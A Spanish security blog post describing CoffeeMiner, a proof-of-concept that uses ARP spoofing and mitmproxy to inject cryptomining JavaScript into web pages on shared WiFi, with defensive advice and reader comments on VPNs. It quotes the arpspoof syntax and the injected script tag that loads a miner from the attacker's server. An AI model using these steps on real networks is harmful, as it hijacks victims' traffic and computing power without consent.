martes, enero 16, 2018

CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

Las criptodivisas están de moda, eso es algo indudable, y si no que se lo digan a mis compañeros de ElevenPaths Felix y Yaiza que llevan años estudiando el blockchain y las criptodivisas, tal y como se puede ver en su charla de Rooted de 2015 y en su libro BlockChain & BitCoins: La tecnología y su investigación. Este boom que tenemos en nuestros días con las criptodivisas, la minería y la especulación es un cartel luminoso para muchos ciberdelincuentes. En este artículo no se pretende valorar la seguridad del Blockchain, las criptodivisas o los mecanismos de protección que tienen en su mano los usuarios que manejan su capital.

Figura 1: CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

Lo curioso es ver cómo se automatizan ciertos ataques que ayudan, en este caso, a la minería. La herramienta CoffeeMiner, la cual se puede estudiar en su Github, pretende ser una prueba de concepto, con propósito académico según indica su propio autor, de lo que pueden llegar a hacernos a cualquiera de nosotros mientras nos tomamos un café en nuestro bar favorito y aprovechamos ese placer para leer las noticias en nuestro dispositivo digital.


Figura 2: How I meet your e-wallet

CoffeeMiner es una prueba de concepto que permite realizar un ataque de Man in the Middle y seleccionar diferentes targets que serán envenenados. A partir de aquí, el tráfico de las víctimas pasará por el atacante y éste podrá inyectar un código JavaScript en cualquier documento HTML que la víctima solicite, ya que esta petición pasará por el atacante. Este JavaScript contiene un minero en su código, por lo que todos los dispositivos conectados a la red podrían ser víctimas y estar minando sin ser conscientes de ello.

Figura 3: CoffeeMiner en GitHub

El esquema de cómo funciona CoffeeMiner es sencillo. Un atacante que tome un café en una cafetería y haya diversos clientes conectados a la red WiFi de dicha cafetería podría aprovecharse y obtener un beneficio logrando que los clientes minen para él. Este ataque es extensible a redes cableadas, ya que el secreto de todo esto está en que el tráfico pase por una máquina concreta, la del atacante.

Si el atacante está en una red cableada, podría aprovecharse de técnicas como el ARP Spoofing o cualquier otro de los Ataques de redes IPv4 o IPv6 y, posteriormente, utilizar la inyección de JavaScript. Es más, si el atacante pusiera su propio Rogue AP, no haría falta envenenar ninguna caché, ya que podría, directamente, inyectar el código JavaScript porque él es el Gateway.

Figura 4: Esquema de ataque con CoffeeMiner

En otras ocasiones hemos visto como herramientas como Bettercap o MITMf permiten realizar acciones similares de forma sencilla, orientado a la auditoría de seguridad. CoffeeMiner también puede entenderse como una herramienta de auditoría, aunque es una prueba de concepto con propósito académico.

El código de CoffeeMiner

En el sitio web del autor de CoffeeMiner se explica el código de la aplicación/automatización basada en mitmproxy. Para realizar el ataque MITM se utiliza la vieja herramienta arpspoof, con su famosa sintaxis arpspoof –i [interfaz de red] –t [target 1] [target 2] y la instrucción contraria para hacer el envenenamiento en ambas direcciones.

Posteriormente, se utiliza mitmproxy para analizar el tráfico que circula a través de un equipo, pudiendo editar el tráfico. Esto se utilizará para inyectar el JavaScript, el cual está preparado o contiene para que la víctima, a través de su navegador, mine. La línea que se inyectará tendrá el siguiente aspecto:
<script src="http://httpserverIP:8000/script.js"></script>.
El código queda de la siguiente manera, teniendo en cuenta que se utiliza la librería que integra mitmproxy:

Figura 5: Código de CoffeeMiner

Como la parte de “Injector” añade una línea al HTML legítimo con el que se consigue llamar al JavaScript malicioso, el atacante tendrá que contar con un servidor web dónde se alojará el fichero JavaScript malicioso. CoffeeMiner proporciona un sencillo código para automatizar esto, aunque con un servidor Apache sería algo trivial.

Figura 6: Código de servidor web para servir el fichero JavaScript de minado

Por último, la parte de CoinHive. Éste es un proyecto cuyo eslogan es aprovechar la computación de tu negocio para sacarle un provecho. Esto puede tener un buen fin, pero también puede haber usuarios maliciosos que quieran aprovecharse de esto. A continuación, os dejamos un video de ejemplo realizado por el autor de la herramienta:


Figura 7: Demo de CoffeeMiner


Sin duda es un proyecto que hace una crítica a la facilidad y el riesgo que tenemos los usuarios que accedemos a redes no seguras o redes con usuarios “de paso”. Por esta razón, debemos estar atentos a qué redes accedemos y en qué sitios confiamos. En este caso, no se apoderarán de datos sensibles nuestros, pero sí que utilizarán nuestra CPU para que puedan ganar unos dólares. Una buena solución sería utilizar una VPN desde la propia red WiFi dónde nos conectemos, para que estemos ante una red aislada. También se podría utilizar plugins como NoScript para evitar la ejecución de código JavaScript. Otra opción sería utilizar una red virtual dentro de la WiFi y poder evitar que hagan uso de nuestra CPU.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

4 comentarios:

Rasnicop dijo...

Muy interesante. Una pregunta: ¿Esto no se podría evitar navegando por HTTPS? ¿Es posible atacar por Man in the Middle cuando la conexión está cifrada por el certificado SSL?

Muchas gracias!

Pablo González dijo...

Hola,
Si el punto de acceso WiFi te proporciona un hotspot (como en muchos sitios) con un certificado y lo aceptas, cuidado, ya que también se podría inyectar. Lo importante es ver la amenaza de conectarnos a redes no seguras (como las de cafeterías, algunos aeropuertos, centros comerciales, etc). Este artículo pretende enseñar lo que hay ahora mismo y que, aunque no nos roben datos sensibles, se pueden aprovechar de nuestros dispositivos a través del JS y utilizarnos para minar, por ejemplo.

Un artículo para defendernos de la amenaza. Utilizar VPN en redes no seguras es algo vital. ;-)

Un saludo.

Nicolás Quesada dijo...

Perdón por la pregunta.... Que significa exactamente utilizar VPN? He leído la definición y entiendo el concepto, pero no lo entiendo de manera práctica. Gracias de antemano.

Pablo González dijo...

Puede sacar todo tu tráfico por un túnel (el cual va cifrado) y evitar que la gente que se encuentre en la WiFi pueda ver nada de lo que haces. SI no pueden ver, entonces tampoco pueden manipular tu tráfico. No es un aislamiento puro, pero es una forma de tunelizar tu conexión. Si la VPN la tienes montada en casa, al final, el medio físico de conexión sería la WiFi del sitio dónde estés, pero tu tráfico saldría al final por la conexión de tu casa, ya que el túnel entre dónde estés y tu casa estaría cifrado y el endpoint sería tu casa. Espero que te sirva ;)

Entrada destacada

Seis recomendaciones personales de libros de @0xWord para disfrutar y aprender

Este verano pude disfrutar de la lectura de un libro que me encantó. El libro de Factfulness que me había regalado mi compañera Beatriz Ce...

Entradas populares